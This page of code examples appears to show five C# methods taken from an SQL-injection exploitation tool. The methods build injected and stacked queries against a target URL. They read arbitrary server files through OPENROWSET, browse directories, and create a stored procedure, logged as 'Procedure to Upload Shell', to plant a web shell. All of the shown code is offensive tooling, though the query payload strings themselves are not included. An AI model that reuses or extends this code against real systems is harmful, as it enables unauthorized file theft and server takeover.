Пример #1
0
        public static string ReadFileDirect(string url, string fileName)
        {
            string URLForReadingFile = QueryCrafter.constructQueryForSelectObject(url, QueriesDB.ReadFileOpenRowSetQuery);

            string FinalFileReadURL = URLForReadingFile.Replace("[FILENAME]", fileName);

            var response = HTTPMethods.getResponse(FinalFileReadURL);

            if (response != null)
            {
                response = ResponseFilter.getPureResponseWithLastIndex(response);
                if (response != null)
                {
                    response = response.Replace(" ", "");
                    return(response);
                }
                else
                {
                    return(null);
                }
            }
            else
            {
                return(null);
            }
        }
Пример #2
0
        static void navigate(string url, string dir)
        {
            var URLForNavigating = QueryCrafter.constructQueryForSelectObject(url, QueriesDB.ReadDirWithFuncQuery);

            URLForNavigating = URLForNavigating.Replace("[DIR]", dir);

            var response = HTTPMethods.getResponse(URLForNavigating);

            response = ResponseFilter.getPureResponseWithLastIndex(response);

            response = XML.addRoot(response);

            FileIO.createWriteFile(response, "tmp.txt");

            List <string> DirectoryFiles = XML.parseXML("tmp.txt", "dir");

            Log.showObjects(DirectoryFiles, "DIR Listing");
        }
Пример #3
0
        static bool createProcFcUk(string url)
        {
            try
            {
                var FcUkProcCreationURL = QueryCrafter.constructStackedQuery(url, QueriesDB.UploadFileProcQuery);
                FcUkProcCreationURL = QueryCrafter.constructURLForConfirmation(FcUkProcCreationURL, QueriesDB.Replacement);

                if (ResponseFilter.confirmResponce(FcUkProcCreationURL, QueriesDB.Replacement))
                {
                    var FcUkProcConfirmationURL = QueryCrafter.constructQueryForSelectObject(url, QueriesDB.ConfirmFcUkProcQuery);
                    var response = HTTPMethods.getResponse(FcUkProcConfirmationURL);

                    if (response != null)
                    {
                        if (ResponseFilter.getPureResponseWithLastIndex(response) == "FcUk")
                        {
                            Log.logOutput("Procedure to Upload Shell is created..");
                            return(true);
                        }
                        else
                        {
                            Log.logError("1 Procedure to Upload Shell cannot be created..");
                            return(false);
                        }
                    }
                    else
                    {
                        Log.logError("2 Procedure to Upload Shell cannot be created..");
                        return(false);
                    }
                }
                else
                {
                    Log.logError("Erroneous response from the server..");
                    Log.logError("Procedure to Upload Shell cannot be created..");
                    return(false);
                }
            }
            catch (Exception ex)
            {
                Log.logError(ex.Message);
                return(false);
            }
        }
Пример #4
0
        static bool createFuncDir(string url)
        {
            try
            {
                var DIRFuncCreationURL = QueryCrafter.constructStackedQuery(url, QueriesDB.DirListingFuncQuery);
                DIRFuncCreationURL = QueryCrafter.constructURLForConfirmation(DIRFuncCreationURL, QueriesDB.Replacement);
                if (ResponseFilter.confirmResponce(DIRFuncCreationURL, QueriesDB.Replacement))
                {
                    var DIRFuncConfirmationURL = QueryCrafter.constructQueryForSelectObject(url, QueriesDB.ConfirmDirFuncQuery);
                    var response = HTTPMethods.getResponse(DIRFuncConfirmationURL);

                    if (response != null)
                    {
                        if (ResponseFilter.getPureResponseWithLastIndex(response) == "Dir")
                        {
                            Log.logOutput("Function to get Directory Listing is created..");
                            return(true);
                        }
                        else
                        {
                            Log.logError("Function to get Directory Listing cannot be created..");
                            return(false);
                        }
                    }
                    else
                    {
                        Log.logError("Function to get Directory Listing cannot be created..");
                        return(false);
                    }
                }
                else
                {
                    Log.logError("Erroneous response from the server..");
                    Log.logError("Function to get Directory Listing cannot be created..");
                    return(false);
                }
            }
            catch (Exception ex)
            {
                Log.logError(ex.Message);
                return(false);
            }
        }
Пример #5
0
        public static void Read(string url)
        {
            string URLForReadingFile = QueryCrafter.constructQueryForSelectObject(url, QueriesDB.ReadFileOpenRowSetQuery);
            string UserChoice        = "z";

            while (UserChoice != "x")
            {
                UserChoice = UserInteraction.takeInputString("Press x to exit..\nEnter full/root path for file to read.. eg. E:\\inetpub\\site\\somefile.ext ..");
                if (UserChoice != "x")
                {
                    string FinalFileReadURL = URLForReadingFile.Replace("[FILENAME]", UserChoice);
                    var    response         = HTTPMethods.getResponse(FinalFileReadURL);
                    if (response != null)
                    {
                        response = ResponseFilter.getPureResponseWithLastIndex(response);
                        if (response != null)
                        {
                            Log.logOutput("--- [File Contents Start]  ---");
                            Log.logOutput(response);
                            Log.logOutput("--- [File Cotents End] ---");

                            UserChoice = UserInteraction.takeInputString("Press s to save File Or Enter to Ignore..");

                            if (UserChoice == "s")
                            {
                                SaveFile(response);
                            }

                            UserChoice = "z";
                        }
                        else
                        {
                            Log.logError("Either File is empty or you 've no right to read that File..");
                        }
                    }
                }
            }
        }